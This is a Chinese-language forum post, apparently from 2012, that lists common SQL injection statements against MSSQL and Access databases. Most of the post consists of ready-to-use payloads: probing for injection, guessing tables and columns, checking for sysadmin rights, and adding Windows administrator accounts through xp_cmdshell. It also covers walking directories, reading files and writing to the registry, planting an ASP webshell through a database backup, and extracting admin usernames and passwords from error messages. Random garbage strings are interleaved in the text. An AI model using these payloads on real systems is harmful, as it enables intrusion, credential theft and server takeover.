找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1936|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入   h; }: V- t+ w/ U/ x. J
;and 1=1 ; O6 h, X- z% c2 Z/ q- r- W, B
;and 1=2
( ?2 v. m! j8 d$ o8 o8 }4 R6 l+ W* \& f, r6 J7 ?1 X  V
2.初步判断是否是mssql
( q: J. ~0 ~/ c* S  o/ C;and user>0 ; [) V- F7 w( {6 n; J
, x3 v0 \9 g* j/ a3 I- g9 r' J! K
3.判断数据库系统
* O$ {* N2 @& k2 G2 Y;and (select count(*) from sysobjects)>0 mssql ' d" \: G9 \8 v1 C2 l: g% {1 \
;and (select count(*) from msysobjects)>0 access
& D3 B1 c  F( M; A- _) _
* [- A# r  U" w0 Z& P4.注入参数是字符
7 `6 h' y0 M! x2 {'and [查询条件] and ''=' $ _! Z3 W; K) @3 L& m# o) x; X, F

/ h3 G2 b8 Y* k$ p% ~5.搜索时没过滤参数的 ! @+ f" P& L/ ^% t, T
'and [查询条件] and '%25'='
! \# k" d- v' E& W. `+ C5 R+ O% |8 ]
6.猜数表名 7 i& z+ V6 J1 p5 b* }# B
;and (select Count(*) from [表名])>0 . X5 [1 E1 ^5 q5 o8 b

6 `* r! X1 P0 O/ ^/ U7.猜字段 / j5 m. d7 t, }0 `9 P% z
;and (select Count(字段名) from 表名)>0 . ~6 O) E5 W8 ]2 n

0 g6 l7 E7 ?$ A8.猜字段中记录长度
/ v0 _, ]; b. V& u1 F1 l;and (select top 1 len(字段名) from 表名)>0
, d. t7 R, \+ h% a( g9 g7 j
/ b& G! j  E8 ]' E5 a2 L; z$ v9.(1)猜字段的ascii值(access) ; m, S0 ?+ h2 e) f* U# _7 R
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 . ?# Q9 x9 K; a) _# Q$ ^, v7 Y

5 H" `' e# I/ L0 ?; J9 _(2)猜字段的ascii值(mssql)
) ?/ ^# G4 \4 s8 c! K6 O& j;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
" z& b1 b( c* c8 M/ o+ d0 D
" M- A0 V2 C) [$ _* F6 S10.测试权限结构(mssql) 4 T% ^9 P" ~+ d9 V1 H& Y
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 8 h( a6 B* G2 i+ I6 i/ @
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2 a; D8 C1 e) u
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
% B5 ?8 o5 S& f;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
; P* X1 n/ |) V! E+ c1 V6 R;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- $ v5 f* U' m  a3 ?7 z) O' G
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
, v/ R7 ?0 G1 w) P1 Z;and 1=(select IS_MEMBER('db_owner'));-- / {/ ]- {1 Q; ~
/ q) S! P# R) F9 R8 Y1 L
11.添加mssql和系统的帐户 4 t& |. t: K3 P1 U9 d' ~
;exec master.dbo.sp_addlogin username;-- + c+ e" R4 o4 U
;exec master.dbo.sp_password null,username,password;--
, Z! h4 s) F4 M) S;exec master.dbo.sp_addsrvrolemember sysadmin username;-- $ y+ [) r0 T$ m6 L) u& t& P3 P
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
5 N$ y; g7 o# c  ~* J4 i% y;exec master.dbo.xp_cmdshell 'net user username password /add';-- 7 a. }5 m; \( h
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
3 |$ q# T. ?& r3 S( L/ Q# g% W6 o; O" {3 L
12.(1)遍历目录   c1 x1 o, V$ p4 C: y, q7 p
;create table dirs(paths varchar(100), id int) - x& i( e5 n, k; S* z6 R6 ^0 f' n
;insert dirs exec master.dbo.xp_dirtree 'c:\'
( I% n3 U! V% r4 n1 G;and (select top 1 paths from dirs)>0
; q& L( n! A. \* o  r;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) / D* [6 R& w8 A/ |" d

9 N. I5 _9 m' }/ M(2)遍历目录
) j$ z5 C. W! \;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 4 W( F2 t' r6 N+ x1 b& W
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
* K) v) w2 V) ^  Z;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
' W7 S. i# B+ }8 f9 h;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
- ]  k# x0 ]$ h  G;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
4 h: A# d- k4 @- r
8 t0 r8 \1 K# m7 Z, Q( M13.mssql中的存储过程 + H! E/ m4 Y$ \) ]7 R" Z. r8 a
xp_regenumvalues 注册表根键, 子键 5 |' n0 M3 h- ^$ G0 S% S' {
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 1 J: S4 D+ a2 m  [6 a
xp_regread 根键,子键,键值名
9 T, g. ], U) F- f0 `# ?;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
, N+ _" d: ^* q' s0 |xp_regwrite 根键,子键, 值名, 值类型, 值
5 z$ Q# |) _0 Q- u值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 / M* K: @# @, Y7 f. h; m
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
2 U% T6 \/ w  ]% q1 txp_regdeletevalue 根键,子键,值名
; q& U  b$ J( ]' I1 K% z6 Pexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
( K: z( h* J$ R5 bxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 4 |( Q% Z1 U9 T6 b

- _% \6 m: s" l7 g8 A  u/ p7 _14.mssql的backup创建webshell ; Z4 N8 T! a1 \5 W& D2 W4 u
use model : m4 i: A8 q1 i( ^
create table cmd(str image);
9 \# i; o; @, A- ginsert into cmd(str) values ('<% Dim oScript %>'); 2 T. M1 |- O. V
backup database model to disk='c:\l.asp';
% `* Y, k' \2 e' y
1 t, |8 C- b" d0 Z! P15.mssql内置函数 5 N; t" o; E% S/ A0 }. m' v4 {
;and (select @@version)>0 获得Windows的版本号 ! M; }( \0 ]5 D* u  W: Q# L/ B! v
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
; `9 C( }0 C/ Y5 L, R, k;and (select user_name())>0 爆当前系统的连接用户
! G4 m* J* B' S- H) @  V4 w% l;and (select db_name())>0 得到当前连接的数据库 ' R9 E- c/ i1 B( R' J- X
/ P& d9 L$ C1 d: C
4 V, i1 @0 }; V4 z+ b7 E* K0 _% E, T

" i5 {* U* c4 T2 ZMSSQL手注暴库
0 m; d! b+ C7 b5 \. @' F8 `8 `% n% J( e& X% j( E
1.暴出当前表名和列名  X+ j4 n& n- J  ~) ~  F! r
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。9 s4 b* M* {& `. _0 S# {
; }) x3 M; V" D$ X( d. F7 K2 a& i
第一.爆出所有数据库名
9 w% u$ [5 r! @! @5 Y( z9 k% b/ J9 Q利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
- O( b+ U& o" `/ V. W9 M, ^第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。8 N# p2 e: p& e% L

; a6 R, j' \* {) y3 Pand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
1 n5 U2 R8 K- R1 \- A  ^
" p8 t+ a3 E4 e+ y# N$ [* J- i' t% s, ^3 a/ }& u
第二.爆出指定库中的所有表名
* u" s+ E! w% F' X, y7 Z: l得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
- N0 Q. {& n( ^! k( y+ I+ W再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
- k  p2 j6 V! L: K2 W; }) B; B- q3 q: s
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
2 Z* w; W. P" w* `  P/ H. Oand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--# ]3 w/ c+ K" o
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
/ e, u/ s3 i4 ?+ z, e# J% Y# {' {7 r' M/ n( z
4.爆出指定表中的所有列名
: r, u+ f9 N( e1 p- xand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) $ N7 E- Y3 A- L
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
+ z! G+ z+ T( K0 {1 b5 N
: `7 a9 N( i; Oand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名" K$ Q( K4 }& y7 G6 r" r8 N

3 O4 e( o% ^' t+ ?" \; S+ U) u再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 9 A8 \/ x. |% d- f
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
; ^" w8 ~% _2 Q# `- T( ~6 c% g& a
* |. w1 K( R# S# _2 n7 l! c9 C3 B, \: W, g! n
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
- \8 [) g# b3 n: N1 l" x1 k
  j2 i% o% J' g9 b" q& pand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名/ k( x+ g+ F' q3 Z2 L* B; L

& g, L$ p' }8 J* @1 Yand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 3 s- M) m4 s% \* o% a
: c. ~5 ?$ b' l' U* L

  j8 O3 m& u+ y2 [5 o" U8 s( P1 w9 Q$ h1 \; P1 s' h
5.读取指定表中的数据6 g+ M2 U+ f6 i$ g) @8 z8 `
: e" s7 t9 R( O4 j, D# u4 k3 e
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
* T: V* W" d. O9 A& G# y
9 {4 m  @* `9 z4 z0 |: k& E$ g% V1 ?and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--3 E5 F5 Y- e  P

7 A+ I7 m: G2 gand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
8 C3 q2 `9 W8 e2 y7 Y
1 a7 [3 a. u$ b+ r6 Q6 s2 N8 e/ a% v1 E& _$ m; i
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
$ g. M& l5 N; o* L4 \- r5 S2 |
3 d- D* B& x. F" Qand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)5 l- H$ l% e. i+ S  Y, C% w1 O$ _
2 Z6 s) |+ [& q  F5 V9 W3 q
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--0 `8 O% t# ~0 r$ F
/ i" a9 f7 D, K! O. s2 v
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。. Z, b/ K7 f: V3 b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表